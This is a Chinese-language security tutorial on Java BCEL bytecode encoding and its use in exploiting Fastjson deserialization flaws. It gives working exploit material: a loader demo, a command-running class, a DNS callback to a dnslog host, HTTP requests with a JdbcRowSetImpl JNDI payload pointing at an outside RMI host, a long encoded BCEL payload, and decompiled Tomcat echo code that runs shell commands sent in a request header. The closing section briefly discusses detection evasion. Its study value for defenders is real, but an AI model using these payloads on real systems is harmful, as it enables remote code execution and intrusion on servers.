0x00写在前面

本次测试仅供学习使用,如若非法他用,与本平台和发布者无关,需自行负责!

0x01Java Bcel字节码介绍

BCEL全名Byte Code Engineering Library (BCEL),属于Apache Commons项目的一个子项目,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API,是 Apache Software Foundation 的 Jakarta 项目的一部分。BCEL 是 Java classworking 最广泛使用的一种框架,可以深入了解JVM 汇编语言进行类操作的细节。BCEL 与 Javassist 有不同的处理字节码方法,BCEL 在实际的 JVM 指令层次上进行操作 (BCEL 拥有丰富的 JVM 指令级支持) 而 Javassist 所强调的源代码级别的工作。比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel,注意在JDK- 8u251之后的BCEL中没有类加载器。BCEL这个包中有个类com.sun.org.apache.bcel.internal.util.ClassLoader,ClassLoader可重写了Java内置的ClassLoader#loadClass()方法,在ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是将会对这个字符串进行decode。可以理解为是传统字节码的HEX编码,再将反斜线替换成$,默认情况下外层还会加一层GZip压缩。

Java 编译过程是从java语言到java机器语言,如下下图。

bcel源码如下:

protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
{
    Class cl = null;

    /* First try: lookup hash table.
     */
    if((cl=(Class)classes.get(class_name)) == null) {
      /* Second try: Load system class using system class loader. You better
       * don't mess around with them.
       */
      for(int i=0; i < ignored_packages.length; i++) {
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name);
          break;
        }
      }

      if(cl == null) {
        JavaClass clazz = null;

        /* Third try: Special request?
         */
        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);
        } else // Fourth try: Use default class loader
          cl = Class.forName(class_name);
      }

      if(resolve)
        resolveClass(cl);
    }

    classes.put(class_name, cl);

    return cl;
  }

通过代码发现会判断类名是否以$$BCEL$$开头,之后调用createClass()方法拿到一个JavaClass对象最终通过defineClass()加载字节码还原类。

1.通过BCEL的demo,加载恶意类运行

package MemoryShell.BCEL;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;


public class BCELDemo {
    public static void main(String[] args) throws Exception {

         JavaClass cls = Repository.lookupClass(calc.class);
         String code = Utility.encode(cls.getBytes(), true);
         System.out.println(code);

         new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
    }
}

2.编写java恶意类有回显运行(本地可见)

package MemoryShell.BCEL;

import java.io.IOException;

public class calc {
    static{
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

弹出计算器


3.编写java恶意类无回显运行

package MemoryShell.BCEL;
import java.io.IOException;
import java.net.InetAddress;

public class calc {
    public static void main(String[] args) {
        try {
            InetAddress address = InetAddress.getByName("gi6598.dnslog.cn");
            boolean reachable = address.isReachable(5000);
            System.out.println("Is host reachable? " + reachable);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

测试dnslog

以上述场景为例调试分析具体运行过程,在classloader下断点,直接跟到loadClass()方法里,首先是去调用createClass()方法。

在createClass()中,通过subString()截取$$BCEL$$后的字符串,并调用Utility.decode进行相应的解码并最终返回改字节码的bytes数组(decode方法参数uncompress用来标识是否为zip流,当为true时走zip流解码)。之后生成Parser解析器并调用parse()方法进行解析,并生成JavaClass对象。


Utility.decode()源码

/** Decode a string back to a byte array.
 *
 * @param bytes the byte array to convert
 * @param uncompress use gzip to uncompress the stream of bytes
 */
public static byte[] decode(String s, boolean uncompress) throws IOException {
  char[] chars = s.toCharArray();

  CharArrayReader car = new CharArrayReader(chars);
  JavaReader      jr  = new JavaReader(car);

  ByteArrayOutputStream bos = new ByteArrayOutputStream();

  int ch;

  while((ch = jr.read()) >= 0) {
    bos.write(ch);
  }

  bos.close();
  car.close();
  jr.close();

  byte[] bytes = bos.toByteArray();

  if(uncompress) {
    GZIPInputStream gis = new GZIPInputStream(new ByteArrayInputStream(bytes));

    byte[] tmp   = new byte[bytes.length * 3]; // Rough estimate
    int    count = 0;
    int    b;

    while((b = gis.read()) >= 0)
      tmp[count++] = (byte)b;

    bytes = new byte[count];
    System.arraycopy(tmp, 0, bytes, 0, count);
  }

  return bytes;
}

最后在newInstance()时初始化触发静态代码块运行。

注:目前bcel字节码已经有编写封装好的jar程序,通过该工具可以快速解码、编码进行转化。

jar bcel工具

将上述测试生存的bcel代码使用该工具进行解码,获得class文件。

$l$8b$I$A$A$A$A$A$A$A$7dT$ebR$d3P$Q$fe$O$zM$hB$81B$c1$Lb$f1Fh$a5ADQ$cbE$8a$a0$9d$v$e0X$86$Z$f1$d7$n$3d$d3$G$d3$a4$93$a6$8e$bc$81$_$e2$f8$h$7f$UGg$7c$A$l$caqO$c2$AJ1$99$ec$e6$ec$ee$d9$ef$db$3d$9b$fc$fa$fd$fd$t$80y$94T$M$e2$5e$iS$wtLK$91M$m$87$fb$KfT$c4$a4$t$_$b5$n$c5$ac$U$PT$cc$e1$a1$82y$V$fdx$a4$e0$b1$82$F$86$d8$a2$e5X$fe2CD$9f$dee$88$ae$b9U$c10P$b6$i$b1$d5n$ec$Lo$87$ef$dbdI$95$5d$93$db$bb$dc$b3$e4$fa$c4$Y$f5$ebV$8ba$ac$bc$v$g$aewX$a9$L$db6$8ak$ebe$83b$cd$C$F4$b8$e50$8c$ea$ef$ca$H$fc$D7l$ee$d4$8c$8a$efYN$ad$m$e1$U$5e$adz$a2E9F$c3$AG$f8F$89$c4jh$a7$U$JOp$b3$k$e2$b1$3dzH$a7$c3$60$cb5J$db$eb$lM$d1$f4$z$d7$91p$dc$abQ$ae$e1$$h$M$fd$V$9f$9b$ef7y3$mO$7d$60P$xn$db3$c5$86$r$93$t$q$e7$bc$dc$a8a$I$v$86$c1$Fo$7e$aem$e6$abN$cbvky$d3Q$f0D$c3S$3c$d3P$c0$a2$82$r$N$cbX$a1$f2$ff$F$x$b6$z$bb$w$3c$oRje$ean$cb$cf$9c$d6$b0$92$d1$f0$i$abR$U5$ac$e1$85$82u$N$hxI$c1$5dj$d2$f0J2Iw$ed$_1$3cC$de$de$3f$Q$a6$cf0$d2$ad$8dT$5cM$f8$c5$c3$z$de$a0B$b3z$97$c3$b8$ac$fd$7dV$eb$cd$d9$BD$f5$d2$f4$de_$b8$95$c3$96$_$g4$3en$db$3f$7f0$af$v$adO$c9$FoP$96$Yo6$85Se$98$b9$i$fbb$Di$e3$b8$be$f7$3fw$dcwC$T$V$ae_$M$y$9c$eb$ea9B4wM$b9$b2i4$d3$dd$I$d1d$O4$c3x$g$99$j$8f$9b$C$93$Y$a0$PN$5e$3d$60r$40H$O$d3$ca$m$cdH$f7f$8f$c1$8e$C$f7$I$c9XhD$9a$a4v$f2$3e$8a1$d2$J$5c$c1$d5$93$cd$9f$R$a1$h$98M$f5$7cC$a4$9c$h$g$fe$d4At$e9$xz$7f$m$f6$f6$YJ$w$deAb$bc$D$b5$83$be$O$b4$_$88$97s$j$q$8f$82$8cS$c8$d2$a7$i$J$f0$s$a0$90$8c$Tn$CI$a8$e4$eb$to$l$fd$R4$a2$98$Mxd$R$r$ff$q$ae$e1$3a$edO$S$8bq$dc$m$be9$b2O$e0f$90s$W$Z$8a$An$d1$a3$a0$e7$40$c1$ed$u9$ee$E$85$dd$fd$Df$n$P7$7e$E$A$A

jar工具解码

class文件如下

0x02Fastjson场景实践应用

FastJson是阿里巴巴的开源库,是一款基于Java的快速JSON解析器/生成器,用于对JSON格式的数据进行解析和打包处理JSON格式数据,用于将 Java 对象序列化为 JSON 格式,也可将字符串反序列化为 Java 对象。

使用方式

//序列化
String text = JSON.toJSONString(obj); 
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

Fastjson环境部署,现在已封装为jar程序通过java环境直接启动即可。

启动java封装的jar环境

通过burp工具使用fastjson漏洞识别插件1发现漏洞

常规测试payload

POST /addComment HTTP/1.1
Host: 10.211.55.7
Content-Length: 219
Accept: */*
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://10.211.55.7
Referer: http://10.211.55.7/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: LOGIN_LANG=cn
Connection: close

{"axin":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"is":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://98ffja76cxdqufnumcdt5awvxm3cr1.burpcollaborator.net/TM","autoCommit":true}}

burp 加载jar插件1

漏洞验证,使用burp生成dns测试成功。

通过burp工具使用fastjson漏洞识别插件2发现漏洞

Bcel字节码payload

POST /addComment HTTP/1.1
Host: 10.211.55.7
Content-Length: 5700
Accept: */*
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://10.211.55.7
Referer: http://10.211.55.7/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: LOGIN_LANG=cn
x-forwarded-for: 48.13.132.254
x-originating-ip: 48.13.132.254
x-remote-ip: 48.13.132.254
x-remote-addr: 48.13.132.254
Connection: close
Testecho:308949

{
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$a5Wyx$Ug$Z$ff$cd$5e3$3b$99$90dCB$W$uG$N$b09v$b7$a1$95B$c2$99$90$40J$S$u$hK$97P$db$c9$ec$q$3bd3$Tfg$J$a0$b6$k$d4$D$8fZ$8f$daPO$b4$ae$b7P$eb$s$U9$eaA$b1Z$8fzT$ad$d6zk$f1$f6$8f$da$f6$B$7c$bf$99$N$d9$84$ad$3c$3e$sy$be$f9$be$f7$7b$ef$f7$f7$be3y$fc$e2$p$a7$A$dc$80$7f$89$Q1$m$60P$84$PI$b6h$Cv$f3$Y$e2$91$f2$a3$E$c3$8c$a4$f30x$8c$88t$de$p$c2D$9a$JY$C2$ecr$_$8fQ$B$fb$E$ec$e7q$80$R$5e$c3$e3$b5$ec$f9$3a$R$d5$b8S$c4$5dx$3d$5b$de$m$e2$8dx$T$5b$O$K$b8$5bD7$de$cc$e3$z$ec$fcV$Bo$T$d1$84C$C$de$$$e0$j$3c$de$v$e0$5d$C$ee$R$f0n$k$f7$Kx$P$8f$f7$96$a0$B$efc$cb$fb$F$dc$t$e0$D$C$ee$e71$s$e00$T$bc$93$z$P$I$f8$a0$80$P$J$f8$b0$80$8f$88$f8$u$3e$c6$a8G$E$7c$5c$c0$t$E$3c$u$e0$93$C$b2$3c$3e$c5$e3$d3$o6$e03l$f9$ac$88$cf$e1$f3$o$d6$e3$L$C$be$c8$9eG$d9r$8c$89$3e$c4$7c$fc$S$d3$f4$b0$88$_$p$c7c$9c$83o$b5$a6k$d6Z$O$eeP$dd$z$i$3cmFB$e5P$d6$a5$e9jOf$b8_5$7b$e5$fe$UQ$fc$a3$a6f$a9$adFb$3f$879$a1$ae$dd$f2$5e9$9a$92$f5$c1$e8$d6$fe$dd$aab$b5$f4$b52$f1$d2$98$r$xC$dd$f2$88$zE$89$a4$U$da$b9$k$e2$m$b6$efS$d4$RK3$f44$H$ef$a0ju$90$c0$ca$o$aa$K$u1$cb$d4$f4$c1$96$ba$x$99xLPY8$I$ab$95$94$j$B$8f$e3$94$40$ca$_$r$97$c7$pd$_fdLE$ed$d0$98$fbe$bd$c6$b0$o$5b$edJ$d2$880$5d$Sz$b0$95C$ada$OF$e4$RYI$aa$R$cb$e6$88d$y$z$V$e9$cf$MDZ$f7$5bj$5b2$a3$PI8$81$afH8$89Sd$$$adZ$ec$82B$u$9b$f2$a9$z$r$a7$89$e2$eak$95p$gg$q$3c$8a$afr$u$9f$e94$87$8a$vR$a7n$a9$83$aa$c9$i$f9$g$8f$afK$f8$G$ceJx$M$e78$f0$Jc$H$cb$b6$84o2$3d$8bf$Y$ea1$ac$O$p$a3$t$$$e7$93C$rc$89$e8$9aa$7b$dd$9a$Z$YPM$w$e6$a8$v$8fpX8$r$dfc$c42J$b2$5b$b5$92$c6$94$b8$84$c7$f1$z$O$Lf$b2uhj$aa$90$eb$db8$c7$bc$7d$82R$_$e1$3b$f8$ae$84$ef$e1$fb$94v$JO$e2$H$S$7e$88$l$91$ebV$d2T$e5DZ$c2N$f4$91_$7d$F$95$eb$b5$afZ$q$fc$YO$91s$ea$3eU$91$f0$T$fc$94$f6I$cb$oG$7d$96l$S$$8$E$a6$84$b6gt$ddA$a0$cfJj$e9$da$eb$c8FR$d6$T$v$W$a0o0e$f4$cb$a9$7c$fc$8e$40AV$c4$R$d3P$d4t$da0$a98$b3l$WV$ddh$97$96$b6$q$fc$MO$b3$I$7eN$d07$d5$3d$iJ$c8$f4v5$3dB$f8dx$a7$d3fr$97$99$v$9f$JH$c2A$af$9a$b6TB$93$84_$e0$Zb$t$5c$Q$f6$ad$MY$f2$cb$89$c4$a4$u$cf$f8$94$e1$E$ed$8ctD$97$87$a9$v$7e$v$e1Y$fcJ$c2$afY$g$7c$a3$9a$9e0F$e9$9e$b8$o$94$T$82QT$a1c$b4_$d3$a3$e9$q$j$c3$ca$qpl$efc$8a$ac$ebLw$cd$94$5b$db$9c$40$5b3Z$w$e1$60$ea7$S$7e$8b$df$f1$f8$bd$84$3f$e0$8f$8c$f2$tR$b5k$83$84$e7p$5e$c2$9f$f1$94$84$bf$e0$af$S$b6$p$s$e1o$f8$3b$8f$7fH$f8$tsi$9eb$MG$H$e4$b4$b5$3bm$e8$d1$bd$99Tt$aay$a8$f9$a7$ac$9a$ea$40$8a$60$j$b5$812$zMN$a9g$d4$3f$df$cc$U$db$80a$f6P$w8$y$J$fd$f7f$b7$f1N$S$r$ba$3a$da$a9$a7$zYWHjv$a8$c8$40$m$U$f5$c6$b7$b5S$aa$8a$c8WP57$aaJJ6$d5$84$83$7e$O$eb$8b$d8$ee$bbB$b6$d0$d2d$bc$8e$Gf1$d4$c9$a6$5e$cd$cb$b1Py5$7d$af1D$3e$af$w63$af$q$V$NL$m$ef$f3$p$a62T$y$3d$M$ac$93$W$cb$LB$cd$X$s$7c$95$yO$ab$p$a9$x$r$V$b1$cc$88j$w$8e$d1$aab$f2l$da$T$e87$u$Mx$9a$dd$a1$9e$d0NFv$db$3d$bc$b4H$c0E$a3$xU2$a6$a9$ea$d6$qf$a6W7$3f4$a8$7fI$abs$d8d$g$Z$9a$W$c1$o$7c$f6$VC$Y1$3b$I$9b$ae$ed2$E$F$c5$d0$zYc$af$a2y$85$8e$b6$re3$a6$ee$c9$a8$E$b4$96$ba$9d$USZ$3b$a0$dao$c7N$96$88$ce$a2$n$f0Z$ba$7dx$c4$dao$f3$ed$9c$3e0$f6$d3$9c$Yv$a6$Lu$v$r$95$b1$z$bdJE$$$fbYb$Z$5d$c6$a8j$b6$c9l$uU$87$8a$f4$TK$b9$97Z$c3$b4$98$83$85Z$f2S$a1e$da$7b$tOt$S$da$a9$8fdhnQ$ea$86$d9k$3d$_$ac$Z$d1$82$L$S$af$J$V$bd$60$96$a5LZ$dd$a8$a6$b4az_$d1LZ$f6$f2$81$V$O$_$d6$3b$ba$ba$cfr$b0$9d$7f$a1zBu$7d$ad$O$fa$f2$99$d2$Y$b9$sT$a8$60$ea$86t$cc$$F$t$9d$96$e1$98$c6b$fa$e2$R$c1$7e$3c$e0$d8$x$9f$d6mt$ba$86$9e$i$3d$bd$f5$e3$e0$8e$d1$86$c3$cd$b4$fa$i$o$89$d0T$84$8b$b1r$a3$f4$91$e8$r$ea$8b$B$d7$E$dc$3d$e1$i$3c$dd$e1$80$d7w$S$be$b8$3b$c0$c7$e2$9e$87$m$c4$e2$5e$b6$e6$e0o$f4$9e$84$Yw7$Q$dd$d9$9d$40I$dc$3d$O$89$Il$dbp$8a$ed$89$b3tG$7d$O$b3$Ce$k$5bQ$98$u$e5$f5$k$5b$a2$d1$be$cd$e2P$b3$t$Q$b0m$G$w$3d$93$e6$c8D$d8$937Al$ddWS$d2$fe$ff$x9F$99$A$M$faN$ae$b0$9f$e3$98M$U$96$af$b5$u$a3$b5$83$f2$b6$89$b2$b4$99h$9dt$bf$9d8o$82$85$z8$80$$$dcG$rx$98h$e3$94$fe$e3T$80$d3$94$d5$a7$89$f3$F$f4$d2$_0$H$ee$e7a$f2x$d5$f3$d8$c8$e3$96$L$d8$c0c$H$8f$5b$R$cfW$ad$8e$caA$l$TN9$f0$A$dcv9Vr$b6$d7$U$96$f8$m$aa$c3$N9TugQ$da$ec$a1$C$cd$e9$c9$5ez$ae$f11H$tP$jo$YG$cd$e9FO$O$c1F$S$98$7b$944$96$a2$92$be$e4$ab$f3A$y$87D$eb$O$3a$dd$K$9e$y$95b$X$dd$dfF$f7$afF$Nn$t$ac$dc$81EPP$8b$E$c2$Y$m$feA$db$f1$Kx$$$80$e7$b1$8b$9c$ed$e1q$9b_$wpY$m$e1$3c$d8$dc$s$9dJ$A$d7$cd$ee$96$J$cc$cba$7e$e0$9a$J$y8$83$85$f4$d7$e5$5e3$bf$e1$d4$R$d7$f5$N$f3$97$f7$84$cf$ba$96$90$fb$8b$9a$3dAO$60q$O$d7$kvU$d1$ee$V$b4$hs$95$84$D$b5$q$d6$ec$Nz$l$c5$921$ee$a5$a07$b0$94$I$81el$J$d9WY$I$cd$be$y$f7$y$5d$d5$db$s$g$9a$7d$ee$V$7c$V$l$f4$jG$p$87$p$dc$a9$a0$af$8a$3f$8e$b0$L$cdBP$ID$f2$gY$fd$a3n$aa$3f$d5$3e$e8$a5$8dH$85o$f6$3b$X$d7$e5q$d3$U$b3o$3dyX7$c5$D$cb$c7q$3d$83$c8$Z41$9f$cfb$uH$89$be$e10$94$a0$9fI$be$d2$91tZ$a3$3c$e8$f7$5c$ee$88$K$9cc$7d$c0$e0$e5$b0$ae$f0N$g$89$7b$f2$96$fc$de$Z$96$e2d$c3$W$f1$b4$5c$cd$b3$hgz6$96$f7$ec$de$ff$c1$b3$c0$ca$J$ac$ca$a19$d0$c2$w$80$m$f5$7c$TY$5b$cd$5c$5cC$zO$dedQ$9d$a7$aee$d4u$O$b5Y$M$faO$60$7d$fc$E6$c4$83$e28Zsh$cba$e38$da$D$j9l$caas$O$9d$T$b8$89$e2$m$d7Jl$d7$c6P5w$M$VA$ff$E$b6$e4$d0$e50$Q$c5$97$85$ff$m$cfe$_$ae$9e$3c$b8$b8$ec$85$t$b2$f0la$8d$d9$D$99pYG$f0$earm$a5$a7$83$e9$p$I$d1$w$d0$c9O$cdZ$82$f9$84$f1E$84$ecZ$ccB$3d5$edZ$94S$dbV$90t$r$c9W$93$86$d9$84$ec$wh$84$f8$M$e6$e2$m$e6$e1$k$92$ba$9f$d0$7f$M$L$f0$M$W$e2$3c$Wq$d5X$ccu$e2Zn$L$96p$fb$b0$94$bb$h$cb$b8$a3$Iq$e7Q$e7$aa$40$bd$ab$92$90U$8b$88k9$9a$5c$x$b0$dc$b5$Ks$5d$eb$b0$c2$d5$86$h$5d$j$uqua$jy$b9$c6$b5$8d$feU$ed$b5$bb$ae$fc$o$aa9$k$L$b9K4$t$7c$f6$8e$c7$ed$3c$ee$a0$v$A$da$ca$d4d$b3x$f4s$X$f0$a4$3d$Yv$bc$84C$dby$uuR$c5$L$f0$bd$I$ef$r$g$3fn$5b$Q$f87$bc$ad$q$c3$e6y$82$d4$bb$a0$fe$H$d8$3e$ebc$Z$Q$A$A"}
    }: "x"
}

burp 加载jar插件2


获取bcel字节码通过jar工具进行解码。

jar工具解码

查看原class文件

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.fastjson.vul;

import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;

public class TomcatEcho {
    public TomcatEcho() {
    }

    private static void writeBody(Object var0, byte[] var1) throws Exception {
        Object var2;
        Class var3;
        try {
            var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
            var2 = var3.newInstance();
            var3.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(var2, var1, new Object[]{new Integer(0), new Integer(var1.length)});
            var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
        } catch (ClassNotFoundException var5) {
            var3 = Class.forName("java.nio.ByteBuffer");
            var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1);
            var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
        } catch (NoSuchMethodException var6) {
            var3 = Class.forName("java.nio.ByteBuffer");
            var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1);
            var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
        }

    }

    private static Object getFV(Object var0, String var1) throws Exception {
        Field var2 = null;
        Class var3 = var0.getClass();

        while(var3 != Object.class) {
            try {
                var2 = var3.getDeclaredField(var1);
                break;
            } catch (NoSuchFieldException var5) {
                var3 = var3.getSuperclass();
            }
        }

        if (var2 == null) {
            throw new NoSuchFieldException(var1);
        } else {
            var2.setAccessible(true);
            return var2.get(var0);
        }
    }

    static {
        try {
            boolean var0 = false;
            Thread[] var1 = (Thread[])((Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads"));

            for(int var2 = 0; var2 < var1.length; ++var2) {
                Thread var3 = var1[var2];
                if (var3 != null) {
                    String var4 = var3.getName();
                    if (!var4.contains("exec") && var4.contains("http")) {
                        Object var5 = getFV(var3, "target");
                        if (var5 instanceof Runnable) {
                            try {
                                var5 = getFV(getFV(getFV(var5, "this$0"), "handler"), "global");
                            } catch (Exception var11) {
                                continue;
                            }

                            List var6 = (List)getFV(var5, "processors");

                            for(int var7 = 0; var7 < var6.size(); ++var7) {
                                Object var8 = var6.get(var7);
                                var5 = getFV(var8, "req");
                                Object var9 = var5.getClass().getMethod("getResponse").invoke(var5);
                                var4 = (String)var5.getClass().getMethod("getHeader", String.class).invoke(var5, new String("Testecho"));
                                if (var4 != null && !var4.isEmpty()) {
                                    var9.getClass().getMethod("setStatus", Integer.TYPE).invoke(var9, new Integer(200));
                                    var9.getClass().getMethod("addHeader", String.class, String.class).invoke(var9, new String("Testecho"), var4);
                                    var0 = true;
                                }

                                var4 = (String)var5.getClass().getMethod("getHeader", String.class).invoke(var5, new String("Testcmd"));
                                if (var4 != null && !var4.isEmpty()) {
                                    var9.getClass().getMethod("setStatus", Integer.TYPE).invoke(var9, new Integer(200));
                                    String[] var10 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", var4} : new String[]{"/bin/sh", "-c", var4};
                                    writeBody(var9, (new Scanner((new ProcessBuilder(var10)).start().getInputStream())).useDelimiter("\\A").next().getBytes());
                                    var0 = true;
                                }

                                if ((var4 == null || var4.isEmpty()) && var0) {
                                    writeBody(var9, System.getProperties().toString().getBytes());
                                }

                                if (var0) {
                                    break;
                                }
                            }

                            if (var0) {
                                break;
                            }
                        }
                    }
                }
            }
        } catch (Exception var12) {
        }

    }
}

解码后的源代码

通过代码发现可以构造有回显RCE

执行whoami

执行net user

0x03总结思考

BCEL字节码是java的功能之一,在攻防对抗中经常有攻击者通过构造bcel代码进行注入内存马、远程命令执行等攻击,该过程由于将部分代码进行编码导致有些检测特征不可见,从也可以达到绕过安全产品的检测。同时编码后的内容相比正常情况增加了很多,相当于垃圾数据填充绕过检测的场景。

由此可见bcel在实践应用中要注意其使用场景,从攻击角度对可能存在的威胁进行有效应对。